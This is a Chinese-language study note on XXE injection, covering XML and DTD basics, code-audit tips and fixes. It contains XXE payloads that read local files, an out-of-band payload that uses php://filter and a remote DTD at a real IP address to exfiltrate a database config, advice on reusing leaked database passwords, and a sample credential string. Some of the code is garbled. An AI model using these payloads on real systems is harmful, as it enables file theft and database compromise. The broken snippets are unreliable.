XXE - 实体注入(xml外部实体注入)

XXE的危害和SSRF有点像

XXE = XML外部实体注入 (被各种后端脚本调用)

=>XML(存数据不会做任何事情)(像html|传输数据|无预定义)

=>外部实体()

=>注入 用户输入的数据被当做代码进行执行

预定义:(预先定义好的东西)

var_dump() 查看数据类型?

eval() 可以命令执行?

echo 他可以输出?

前端代码:

<b></b> 加粗

<h1></h1> 大标题

XML:

<b></b> 名字而已

<h1></h1>

XML:是一个纯文本 存储信息(可以自己发明标签)

<?xml version="1.0"?> 1.0版本

DTD(通过特殊的命令去其他文件读取信息)

SYSTEM

XML部分

引用(1.txt) 包含(include) 目的处理代码冗余

mysqli_connect();

mysqli_query();

mysqli_close();

危害:

XXE 可以通过dtd去读取、访问其他文件或者网站

实体 => 变量 调用变量&实体名;

<!DOCTYPE scan [

<!ENTITY test SYSTEM "file:///c:/1.txt">]> DTD部分

将c的1.txt文件放入test中

<scan>&test;</scan> XML部分

simplexml_load_string() // 读取字符串当作xml执行

simplexml_load_file() // 读取文件当作 xml执行

<?php test = '\\]\>\\&test;\'; obj = simplexml_load_string(test, 'SimpleXMLElement', LIBXML_NOENT); print_r(obj); ?>

变量test里面是XML 然后试用simplexml_load_string将其转化为对象,第一个参数是xml语句,SimpleXMLElement是调用了SimpleXMLElement这个类,然后LIBXML_NOENT是替代实体,然后他去执行了file协议去读取我的文件

XSS平台:

你打XSS到目标站点 -> 有人访问后把数据传到平台 -> 记录下来,等你来看

XML: 请求一个你自己搭建的php文件,其他的文件。(你想要的数据给带出来)

php文件记录请求的传参内容(记录文件)

等你去看就可以了

没有回显,外带出来:

1、获取信息

2、发送信息

file:/// 正常情况下,网站不应该使用的协议

PHP伪协议(PHP的内部协议)

php://filter/read=convert.base64-encode/resource=a.txt

如何寻找XXE:

1、看到数据包莫名其妙传递、返回XML代码可以试试

2、代码审计

代码审计:

1、静态审计(纯看)

2、动态审计(网站运行起来,然后通过一些特殊手法,去追踪具体的代码流程)

3、小技巧:依靠静态看代码,然后不用动态调试软件,直接修改源码进行动态调试

有些代码会被引用几百次 如何确定这段是否实现 加入相关语句 看页面回显 有回显就是执行了 没有回显就是没执行

静态:

1、全文通读(可拿bluecms练习)

2、危险函数定位 eval() mysqli_query(

$GLOBALS'HTTP_RAW_POST_DATA' => 获取POST原始数据 (form表单)

<?xml:version="1.0">

<!DOCTYPE ANY[

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpstudy
scms/conn/conn.php">

8 remote SYsTEM "http://59.63.200.79:8014/xxe/1.xml">

<!ENTITY

&remote;

&send;

]>

使用时更改红色就对路径

有的网站可能开了3306 远程数据库连接 即可用xml实体漏洞爆出的密码连接

<?php

error_reporting(E_ALL ^ E_NOTICE);

header("content-type:text/html;charset=utf-8");

session_start();

$conn = mysqli_connect("192.168.0.10","xxe", "teiwo!8#7ERe1DPC", "scms");

md5 => 明文能转密文 密文不能转明文 (e99d2e51cbefe75251f1d40821e07a32)

1.48

修复XXE:

1、libxml_disable_entity_loader(true); PHP的(禁止加载XML实体)

2、过滤SYSTEM关键字

总结:

1、XXE => XML外部实体注入 (目标执行了我们提交的XML代码)

2、XXE代码层(套)

3、危害 => SSRF 差不多

4、回显问题 => 2步走的方法外带出来

5、如何找这个漏洞(1、看到传参或者返回包出现xml 2、代码审计)

6、代码审计(动态、静态全文、危险函数、小技巧)

7、seay工具(全文搜索,定位函数)

8、本地测试,最好可以开一个全新环境,以免出问题

9、以前存在的漏洞,去看了之后可以尝试去找新的漏洞(查看补丁)

相关推荐
zhengfei61121 小时前
小白级手册——全面剖析红队信息收集思考
网络·安全·web安全
tianyuanwo21 小时前
深入解析 RISC-V 虚拟化中的 UEFI 固件配置:从 XML 到 NVRAM 的生命周期管理
xml·linux·risc-v
難釋懷21 小时前
Nginx获取客户端真实IP
服务器·前端·nginx
甲维斯21 小时前
GLM5.2超过Opus4.8Think,全球第二了!
前端·人工智能·ai编程
by————组态1 天前
Ricon组态系统 - 新一代Web可视化组态平台
前端·后端·物联网·架构·组态·组态软件
JieE2121 天前
手把手带你用纯 CSS 实现一个 3D 旋转魔方,这些前端基础你能打几分?
前端·css·html
爱网络爱Linux1 天前
网络安全与渗透测试实用工具大全
web安全·网络安全·信息安全·cisp-pte·cisp·cissp
lichenyang4531 天前
鸿蒙 Web 容器(二):H5 和 ArkTS 说话前,先定一份「协议」
前端
JYeontu1 天前
开箱流水加载动画
前端·javascript·css